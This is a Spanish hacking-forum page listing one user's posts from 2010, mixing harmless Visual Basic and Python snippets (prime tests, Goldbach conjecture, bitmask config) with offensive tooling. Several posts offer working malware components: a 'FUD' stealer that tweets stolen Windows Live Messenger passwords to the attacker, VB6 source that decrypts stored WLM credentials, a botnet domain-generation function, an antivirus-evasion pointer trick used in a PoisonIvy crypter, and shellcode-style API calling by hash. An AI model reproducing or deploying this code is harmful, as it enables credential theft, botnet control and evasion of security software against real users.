elhacker.net cabecera Bienvenido(a), Visitante. Por favor Ingresar o Registrarse
¿Perdiste tu email de activación?.

 

 


Tema destacado: Estamos en la red social de Mastodon


  Mostrar Temas
Páginas: 1 2 3 4 5 [6] 7 8 9 10 11 12
51  Seguridad Informática / Análisis y Diseño de Malware / [SRC][FUUUD] TweetWLM - Aplicacion que te 'pia' las contraseñas del WLM en: 12 Julio 2010, 03:15 am
Bueno, TweetWLM, como yo lo he bautizado, es una simple aplicacion programada por mi que recupera las contraseñas del WLM y las Tweetea en tu Twitter >:D >:D Es recomendable tener un twitter cerrado al publico para ese uso ::)

Es FUD:
Código:
http://www.virustotal.com/es/analisis/f34627c59552a4c0f721786488a3af25a85b6d9cdbb0f5f675621f8c471fdeea-1278896349
Estoy al corriente de que VT comparte las muestras, pero no me preocupa, cualquiera que tenga idea sobre programacion es capaz de hacer FUD el codigo de nuevo ;)

Descargar:
Bin:
Código:
http://www.box.net/shared/a8vpqkp5mf
Src:
Código:
http://www.box.net/shared/pozkqp2n7f

El codigo y el binario pertenecen unicamente al STUB asi que para establecer la cuenta de twitter donde se postearan las contraseñas teneis que seguir estas instrucciones:
  • Abrir el ejecutable con un programa que permita modificar la informacion de version del fichero
  • Poner en el valor 'Comments' la contraseña de la cuenta
  • Poner en el valor 'ProductName' el nombre de la cuenta
Ejemplo:


No se si queda muy claro este post, pero tengo sueño, asi que buenas noches :xD
52  Programación / Programación Visual Basic / [SRC][VB6] Windows Live Messenger - Recupera contraseña {FUUUUD!!!} en: 11 Julio 2010, 21:47 pm
Código
  1. Option Explicit
  2.  
  3. 'KERNEL32
  4. Private Declare Function GetProcessHeap Lib "KERNEL32" () As Long
  5. 'ADVAPI32
  6. Private Declare Function CredEnumerateW Lib "ADVAPI32" (ByVal lpszFilter As Long, ByVal lFlags As Long, ByRef pCount As Long, ByRef lppCredentials As Long) As Long
  7. 'CRYPT32
  8. Private Declare Function CryptUnprotectData Lib "CRYPT32" (ByRef pDataIn As DATA_BLOB, ByVal ppszDataDescr As Long, ByVal pOptionalEntropy As Long, ByVal pvReserved As Long, ByVal pPromptStruct As Long, ByVal dwFlags As Long, ByRef pDataOut As Long) As Long
  9. 'NTDLL
  10. Private Declare Function NtWriteVirtualMemory Lib "NTDLL" (ByVal ProcessHandle As Long, ByVal BaseAddress As Long, ByVal pBuffer As Long, ByVal NumberOfBytesToWrite As Long, ByRef NumberOfBytesWritten As Long) As Long
  11. Private Declare Function RtlFreeHeap Lib "NTDLL" (ByVal HeapHandle As Long, ByVal Flags As Long, ByVal MemoryPointer As Long) As Long
  12.  
  13. Private Type DATA_BLOB
  14.    cbData                  As Long
  15.    pbData                  As Long
  16. End Type
  17.  
  18. Public Type ACCOUNT_INFO
  19.    sMail                   As String
  20.    sPassword               As String
  21. End Type
  22.  
  23. Public Function sMSN() As ACCOUNT_INFO()
  24.    Dim tTMP()      As ACCOUNT_INFO
  25.    Dim i           As Long
  26.    Dim x           As Long
  27.    Dim lCount      As Long
  28.    Dim lCred       As Long
  29.    Dim lPtr        As Long
  30.    Dim lUser       As Long
  31.    Dim tBlobIn     As DATA_BLOB
  32.    Dim bvGUID(4)   As Currency
  33.  
  34.    bvGUID(0) = 2814797012434.9527@
  35.    bvGUID(1) = 2139259215904.7791@
  36.    bvGUID(2) = 1632598244864.8297@
  37.    bvGUID(3) = 2842944080556.8622@
  38.    bvGUID(4) = 275.2573@
  39.    'bvGUID = "WindowsLive:name=*"
  40.  
  41.    Call CredEnumerateW(VarPtr(bvGUID(0)), 0, lCount, lCred)
  42.  
  43.    For i = 0 To lCount - 1
  44.        Call NtWriteVirtualMemory(-1, ByVal VarPtr(lPtr), ByVal lCred + (i * &H4), &H4, 0)
  45.        Call NtWriteVirtualMemory(-1, ByVal VarPtr(lUser), ByVal (lPtr + &H30), &H4, 0)
  46.        Call NtWriteVirtualMemory(-1, ByVal VarPtr(tBlobIn.cbData), ByVal (lPtr + &H18), &H8, 0)
  47.  
  48.        Call CryptUnprotectData(tBlobIn, 0&, 0&, 0&, 0&, 1&, 0&)
  49.  
  50.        If tBlobIn.cbData Then
  51.            ReDim Preserve tTMP(x)
  52.            With tTMP(x)
  53.                .sPassword = Space$(tBlobIn.cbData \ 2)
  54.                Call NtWriteVirtualMemory(-1, ByVal StrPtr(.sPassword), ByVal tBlobIn.pbData, tBlobIn.cbData, 0)
  55.                If Len(.sPassword) > 0 Then
  56.                    .sMail = uReadStr(lUser)
  57.                End If
  58.            End With
  59.            x = x + 1
  60.        End If
  61.    Next i
  62.  
  63.    Call RtlFreeHeap(GetProcessHeap(), 0, lCred)
  64.  
  65.    sMSN = tTMP
  66. End Function
  67.  
  68. Private Function uReadStr(ByVal lPtr As Long) As String
  69.    Dim iChar       As Integer
  70.    Dim i           As Long
  71.  
  72.    Do
  73.        Call NtWriteVirtualMemory(-1, ByVal VarPtr(iChar), ByVal (lPtr + i * 2), 2, ByVal 0&)
  74.        i = i + 1
  75.        If iChar = 0 Then Exit Do
  76.        uReadStr = uReadStr & ChrW$(iChar)
  77.    Loop
  78. End Function
Código:
http://www.virustotal.com/es/analisis/2d7deb3a66001d026c2267bec22393727c97ee4ac70bb3995b10622518391189-1278876972
Ale, a ver cuanto dura FUD :D

Ejemplo de uso:
Código
  1.    Dim i   As Long
  2.    Dim x() As ACCOUNT_INFO
  3.  
  4.    x = sMSN
  5.  
  6.    For i = LBound(x) To UBound(x)
  7.        Debug.Print x(i).sMail, x(i).sPassword
  8.    Next i

A disfrutar!!! >:D >:D :xD
53  Programación / Programación Visual Basic / [SNIPPET] SaveConfig() - Almacena toda la configuracion en un Long en: 9 Julio 2010, 19:38 pm
Muchas veces cuando estas programando algo te ves en la necesidad de comunicar dos partes de tu software para que compartan cierta configuracion... como un Builder y un Stub... o un Cliente y un Server...

Cuando esa informacion que han de compartir son simples Booleans (Si/No) como, activar deteccion de Virtual Machines, Melt.. etc... Simplemente puedes almacenar una gran lista de parametros en un simple Long (4Bytes) ;D

He visto Aplicaciones que envian/almacenan cosas como: "ON" o "OFF", si si, en cadenas de texto... :-X Ademas de no ser nada optimo es horroroso por ejemplo abrir el EXE y ver como 20 "ON"s y "OFF"s :-X :-X

Si no me equivoco Cobein ya posteo un codigo que trabajaba con Bitmasks... pero bueno, aqui esta el mio :xD

Aqui va:
Código
  1. Public Function ReadConfig(ByVal lSrc As Long, ByVal iPos As Integer) As Boolean
  2.    ReadConfig = (lSrc And 2 ^ iPos)
  3. End Function
  4.  
  5. Public Function SaveConfig(ParamArray vValues() As Variant) As Long
  6.    Dim i       As Long
  7.    Dim vTmp()  As Variant
  8.  
  9.    vTmp = vValues
  10.    ReDim Preserve vTmp(0 To 30)
  11.  
  12.    SaveConfig = 0
  13.    For i = 0 To 30
  14.        If vTmp(i) Then SaveConfig = (SaveConfig Or 2 ^ i)
  15.    Next i
  16. End Function

Un ejemplo de uso? Aqui teneis :) :
Código
  1. Private Const lSavedConfig  As Long = &H16E  'SaveConfig(False, True, True, True, False, True, True, False, True, False)
  2.  
  3. Private Sub Form_Load()
  4.    Dim x       As Long
  5.  
  6.    For x = 0 To 30
  7.        If ReadConfig(lSavedConfig, x) = True Then
  8.            MsgBox "La opcion nº" & x & " esta activada"
  9.        End If
  10.    Next x
  11. End Sub
  12.  
  13. Public Function ReadConfig(ByVal lSrc As Long, ByVal iPos As Integer) As Boolean
  14.    ReadConfig = (lSrc And 2 ^ iPos)
  15. End Function

Simplemente generas el numero con la funcion SaveConfig() que te permite guardar hasta 31 Booleans/Opciones, luego con la funcion ReadConfig() le pasas el numero de la opcion y la lees :D

Saludos, espero que os sea de utilidad :)
54  Programación / Programación Visual Basic / [SNIPPET+RETO] IsItPrime() - Comprobar si un numero es primo en: 7 Julio 2010, 12:31 pm
Bueno, me hacia falta hacer una funcion de este tipo para un trabajito que estoy haciendo :silbar:... y he pensado que tal vez os seria util...
Código
  1. Public Function IsItPrime(ByVal lNumber As Long) As Boolean
  2.    Dim i       As Long
  3.  
  4.    If (lNumber > 2) And (lNumber Mod 2) Or (lNumber = 2) Then
  5.        For i = 2 To (lNumber ^ 0.5)
  6.            If (lNumber Mod i) = 0 Then
  7.                GoTo Exit_
  8.            End If
  9.        Next i
  10.        IsItPrime = True
  11.    End If
  12. Exit_:
  13. End Function

Podriamos hacer un jueguecito... a ver quien lo hace mas rapido/corto :D Os apuntais?

MOD: Yo utilizo este codigo para comprobar lo optimizado que esta:
Código:
Option Explicit

Private n       As Long

Private Sub Form_Load()
    Dim x       As Long
    
    Timer1.Interval = 10
    Timer1.Enabled = True
    For x = 0 To 10 ^ 6
        Call IsItPrime(x)
        DoEvents
    Next x
    Timer1.Enabled = False
    MsgBox n * 10 & " ms"
End Sub

Public Function IsItPrime(ByVal lNumber As Long) As Boolean
    Dim i       As Long
    
    If (lNumber > 2) And (lNumber Mod 2) Or (lNumber = 2) Then
        For i = 2 To (lNumber ^ 0.5)
            If (lNumber Mod i) = 0 Then
                GoTo Exit_
            End If
        Next i
        IsItPrime = True
    End If
Exit_:
End Function

Private Sub Timer1_Timer()
    n = n + 1
End Sub
55  Programación / Scripting / [Python] Conjetura del Goldbach en: 7 Julio 2010, 10:37 am
Hice esta aplicacion para subir nota en Informatica y pense que tal vez a alguien le sea de utilidad :xD

Código
  1. ## coding: utf-8
  2.  
  3. ## Criba de Eratóstenes
  4. def GetPrimes(n):
  5. # Obtenemos el lado de la criba
  6. nroot = int(n**0.5)
  7. # Marcamos todos los numeros como primos
  8. sieve = [True]*(n+1)
  9. # El 0 y el 1 no son primos
  10. sieve[0] = False
  11. sieve[1] = False
  12.  
  13. # Recorremos todos los números de 2 hasta la raíz
  14. for i in xrange(2, nroot+1):
  15. # Si esta marcado como primo...
  16. if sieve[i]:
  17. # Obtenemos la cantidad de multiples en el rango
  18. m = n/i - i
  19. # Marcamos todos sus multiplos como NO primos
  20. sieve[i*i: n+1:i] = [False] * (m+1)
  21. # Devolvemos solo los primos del rango
  22. return [i for i in xrange(n+1) if sieve[i]]
  23.  
  24. while True:
  25. try:
  26. n = int(raw_input("Dame un número:"))
  27. if (n % 2 == 0) and (n > 2):
  28. break
  29. int("x")
  30. except:
  31. print "Se necesita un número entero par mayor que 2."
  32.  
  33. print "*"*50
  34. print "Se aplicará la conjetura fuerte de Goldbach."
  35. print "Esta establece que cualquier número par mayor que 2 puede \nexpresarse como suma de DOS números primos"
  36. print "*"*50
  37.  
  38. p = GetPrimes(n)
  39. l = 0
  40.  
  41. for w in p:
  42. for v in p:
  43. if w + v == n:
  44. if w == l:
  45. exit = True
  46. break
  47. l = v
  48. print "%d+%d=%d" % (w,v,n)
  49. if exit == True:
  50. break

Mas info:
Código:
http://es.wikipedia.org/wiki/Criba_de_Erat%C3%B3stenes
http://es.wikipedia.org/wiki/Conjetura_de_Goldbach

Saludos :D
56  Programación / Programación Visual Basic / [SNIPPET] GenerateDomain - Nombre de dominio a partir de una fecha en: 6 Julio 2010, 17:00 pm
Código
  1. Public Function GenerateDomain(ByVal dDate As Date, Optional ByVal lLength As Long = 5) As String
  2.    Const sCharSet  As String = "abcdefghijklmnopqrstuvwxyz0123456789qwertyuiopasdfghjklñzxcvbnm0987654321"
  3.    Dim sSuffix     As String
  4.    Dim iDay        As Single
  5.    Dim iMonth      As Single
  6.    Dim iYear       As Single
  7.    Dim lNumb       As Long
  8.    Dim i           As Long
  9.    Dim lPos        As Long
  10.  
  11.    iDay = Day(dDate)
  12.    iMonth = Month(dDate)
  13.    iYear = Year(dDate)
  14.  
  15.    sSuffix = Choose(((iMonth Xor iDay) Mod 9) + 1, "com", "net", "es", "co.uk", "ws", "org", "us", "info", "mx")
  16.  
  17.    lNumb = ((iYear And &HFF00&) \ &H100) * ((iDay * (Tan(iYear And &HFF))) Xor Cos(iMonth * 10))
  18.    lNumb = Abs(lNumb)
  19.    If lNumb Mod 2 Then lNumb = lNumb Xor (iYear \ (iMonth * iDay))
  20.  
  21.    For i = 1 To lLength
  22.        lPos = Abs(((lNumb * (i Xor lNumb / 2)) Mod Len(sCharSet)) - Len(sCharSet))
  23.        GenerateDomain = GenerateDomain & Mid$(sCharSet, lPos, 1)
  24.    Next i
  25.  
  26.    GenerateDomain = GenerateDomain & "." & sSuffix
  27. End Function

Esta funcion genera un nombre de dominio en base a una fecha ;)

Utilidad? No se si sabreis algo sobre BotNets... pero imaginemos que queremos controlar una red de Zombies y , claro, utilizar un dominio fijo para la manejarlos no es seguro, ya que te lo capan y se acabo la juerga... Asi que tu compras los dominios por ejemplo de forma semanal, y tus Zombies generan cada Domingo el dominio al que se conectaran... Tachan! :xD

Espero que se entienda para que sirve :P

Un ejemplo de BotNet que utiliza este sistema es la conocidisima Conficker :)

Ejemplo para hoy:
Código
  1. Debug.Print GenerateDomain(Now, 10)
Hoy tendriamos que comprar este dominio:
Código:
ra8530yzvu.net

Nos costaria 6€ al año, y en una semana nos dariamos de baja... ese es el precio de mantener viva to BotNet :P 6€ por semana :laugh:, tambien se podria aplicar este metodo con servicios web gratuitos... pero nosostros somos empresarios de los buenos :laugh: :laugh: :silbar:

Saludos ;)
57  Programación / Programación Visual Basic / [VB-SNIPPET] htons() replacement en: 26 Junio 2010, 13:50 pm
Código
  1. Public Function htons(ByVal lPort As Long) As Integer
  2.    htons = ((((lPort And &HFF000000) \ &H1000000) And &HFF&) Or ((lPort And &HFF0000) \ &H100&) Or ((lPort And &HFF00&) * &H100&) Or ((lPort And &H7F&) * &H1000000) Or (IIf((lPort And &H80&), &H80000000, &H0)) And &HFFFF0000) \ &H10000
  3. End Function

He hecho esta alternativa a htons@Ws2_32 para un Shell que estoy haciendo y he pensado que os seria util.
La alternativa la he hecho para quitarme la declaracion de esa API, que siempre puede ser algo sospechosa :P

Simplemente lo que hace la funcion es revertir el orden de bytes y devolver solo el Integer significante... Por ejemplo:
Citar
666 decimal = 00000029A hexadecimal
Se invierten los bytes de orden: 9A020000
Y se devuelve el Integer (2 BYTES) mas significante, 9A02

Referencias:
Código:
http://www.xbeat.net/vbspeed/c_SwapEndian.htm
http://www.xbeat.net/vbspeed/c_HiWord.htm

Saludos :D
58  Programación / Programación Visual Basic / [SRC] Llamando punteros desde VB6 :D en: 8 Mayo 2010, 12:32 pm
Aqui os traigo una forma de llamar punteros en VB6 :o Si, si! Sin usar ningun API externa al VB, ni trucos con ASM :o :o :o

Código
  1. Option Explicit
  2.  
  3. Private Type SUBROUTINE
  4.    lNull           As Long '// Must be 0
  5.    lPtr            As Long
  6. End Type
  7.  
  8. Private Declare Function GoSubReturn Lib "MSVBVM60" Alias "__vbaGosubReturn" (ByRef lpSubRoutine As Long) As Long
  9.  
  10. '---------------------------------------------------------------------------------------
  11. ' Procedure : GoToPtr
  12. ' Author    : Karcrack
  13. ' Date      : 08/05/2010
  14. ' Purpose   : GoTo a pointer
  15. ' Warning   : It's not a JMP, is a GoTo, so the execution of the program won't continue
  16. '           where you made the GoTo...
  17. '---------------------------------------------------------------------------------------
  18. '
  19. Public Sub GoToPtr(ByVal lPtr As Long)
  20.    Dim tSubRoutine As SUBROUTINE
  21.  
  22.    tSubRoutine.lPtr = lPtr
  23.    Call GoSubReturn(VarPtr(tSubRoutine))
  24. End Sub

Hay que tener mucho cuidado a que puntero llamamos, porque debido a que el Stack se deforma para hacer el salto no se puede volver al lugar desde el cual se llamo a la funcion... Mucho cuidado con esto

Es muy util para llamar a ShellCodes o para marear a la heuristica/proactiva de los AVs, yo por ejemplo lo estoy utilizando en un crypter que he hecho para el PoisonIvy ;-) ;-) (FUD Por cierto >:D)

Asi que llameis al puntero que llameis teneis que acabar la ejecucion allí :-\ Estoy intentando arreglarlo, pero me parece que va a estar jodido usando este metodo :laugh: :xD

Aqui teneis un ejemplo:
Código
  1. Sub Main()
  2.    Call GoToPtr(gP(AddressOf RMain))
  3. End Sub
  4.  
  5. Function gP(ByVal lPtr As Long) As Long
  6.    gP = lPtr
  7. End Function
  8.  
  9. Sub RMain()
  10.    MsgBox "HOLA"
  11.    End
  12. End Sub

Saludos :D

Primero posteado en:
Citar
59  Seguridad Informática / Bugs y Exploits / [0Day] Java - Estamos perdidos... en: 10 Abril 2010, 00:30 am
Comprueba si eres vulnerable... Abrirá una Calculadora de W$
Código:
http://lock.cmpxchg8b.com/bb5eafbc6c6e67e11c4afc88b4e1dd22/testcase.html

Mas Info:
Código:
http://www.reversemode.com/index.php?option=com_content&task=view&id=67&Itemid=1
blogs.eset-la.com/laboratorio/2010/04/09/vulnerabilidad-0-day-java/
60  Programación / Programación Visual Basic / [ASM+VB6][INVOKE] Llamas APIs sin declararlas - kInvoke.bas en: 9 Abril 2010, 16:17 pm
Existen gran cantidad de códigos por la red (algunos míos :rolleyes:) que permiten llamar APIs de forma Dinámica... es decir sin declararlas...

Que tiene este de especial? Que las llama mediante un Hash... Tal y como hacen los Shellcodes ;-)

Aquí un ejemplo de llamada:
Código
  1. Call Invoke("USER32", &HBC4DA2BE, 0, StrPtr("Soy Karcrack :D"), StrPtr("Ejemplo"), 0)

&HBC4DA2BE es el Hash de la cadena "MessageBoxW", para generar los Hashes se utiliza el siguiente algoritmo:
Código
  1. ;ESI = Puntero cadena
  2. compute_hash:
  3. xor edi, edi     ;EDI = 0
  4. xor eax, eax   ;EAX = 0
  5. cld
  6. compute_hash_again:
  7. lodsb                ;AL = BYTE[ESI] , ESI = ESI + 1
  8. test al, al
  9.       jz compute_hash_finished
  10. ror edi, 0xD
  11. add edi, eax
  12.       jmp compute_hash_again
  13. compute_hash_finished:
  14. ;EDI = El Hash de la cadena

De todas formas he hecho una pequeña herramienta para que genera los Hashes :D
Citar
Código:
http://www.box.net/shared/0ld4yy6bmy
Codigo Fuente incluido ;)


Bueno, aquí esta el código principal:
Código
  1. '---------------------------------------------------------------------------------------
  2. ' Module    : kInvoke
  3. ' Author    : Karcrack
  4. ' Date      : 09/04/2010
  5. ' Purpose   : Call APIs By Hash
  6. '---------------------------------------------------------------------------------------
  7.  
  8. Option Explicit
  9.  
  10. 'USER32
  11. Private Declare Function CallWindowProcW Lib "USER32" (ByVal lpCode As Long, Optional ByVal lParam1 As Long, Optional ByVal lParam2 As Long, Optional ByVal lParam3 As Long, Optional ByVal lParam4 As Long) As Long
  12.  
  13. Private Const THUNK_GETAPIPTR       As String = "E82200000068A44E0EEC50E84300000083C408FF742404FFD0FF74240850E83000000083C408C3565531C0648B70308B760C8B761C8B6E088B7E208B3638471875F3803F6B7407803F4B7402EBE789E85D5EC35552515356578B6C241C85ED74438B453C8B54057801EA8B4A188B5A2001EBE330498B348B01EE31FF31C0FCAC84C07407C1CF0D01C7EBF43B7C242075E18B5A2401EB668B0C4B8B5A1C01EB8B048B01E85F5E5B595A5DC3"
  14. Private Const THUNK_CALLCODE        As String = "<PUSHES>B8<API_PTR>FFD0C3"
  15. Private ASM_GETAPIPTR(0 To 170)     As Byte
  16. Private ASM_CALLCODE(0 To 255)      As Byte
  17.  
  18. Public Function Invoke(ByVal sDLL As String, ByVal hHash As Long, ParamArray vParams() As Variant) As Long
  19.    Dim vItem                       As Variant
  20.    Dim lAPI                        As Long
  21.    Dim sThunk                      As String
  22.  
  23.    Call PutThunk(THUNK_GETAPIPTR, ASM_GETAPIPTR)
  24.    lAPI = CallWindowProcW(VarPtr(ASM_GETAPIPTR(0)), StrPtr(sDLL), hHash)
  25.  
  26.    If lAPI Then
  27.        For Each vItem In vParams
  28.            sThunk = "68" & GetLng(CLng(vItem)) & sThunk
  29.        Next vItem
  30.  
  31.        sThunk = Replace$(Replace$(THUNK_CALLCODE, "<PUSHES>", sThunk), "<API_PTR>", GetLng(lAPI))
  32.        Call PutThunk(sThunk, ASM_CALLCODE)
  33.        Invoke = CallWindowProcW(VarPtr(ASM_CALLCODE(0)))
  34.    Else
  35.        Invoke = -1
  36.        Err.Raise -1, , "Bad Hash or wrong DLL"
  37.    End If
  38. End Function
  39.  
  40. Private Function GetLng(ByVal lLng As Long) As String
  41.    Dim lTMP                        As Long
  42.  
  43.    lTMP = (((lLng And &HFF000000) \ &H1000000) And &HFF&) Or ((lLng And &HFF0000) \ &H100&) Or ((lLng And &HFF00&) * &H100&) Or ((lLng And &H7F&) * &H1000000) ' by Mike D Sutton
  44.    If (lLng And &H80&) Then lTMP = lTMP Or &H80000000
  45.  
  46.    GetLng = String$(8 - Len(Hex$(lTMP)), "0") & Hex$(lTMP)
  47. End Function
  48.  
  49. Private Sub PutThunk(ByVal sThunk As String, ByRef bvRet() As Byte)
  50.    Dim i                           As Long
  51.  
  52.    For i = 0 To Len(sThunk) - 1 Step 2
  53.        bvRet((i / 2)) = CByte("&H" & Mid$(sThunk, i + 1, 2))
  54.    Next i
  55. End Sub
  56.  

Aquí tenéis el código de ejemplo con todos los códigos de ASM utilizados :D:
Código:
http://www.box.net/shared/qgzqkoc4nn

Cualquier duda preguntad ;)

Saludos ;D
Páginas: 1 2 3 4 5 [6] 7 8 9 10 11 12
WAP2 - Aviso Legal - Powered by SMF 1.1.21 | SMF © 2006-2008, Simple Machines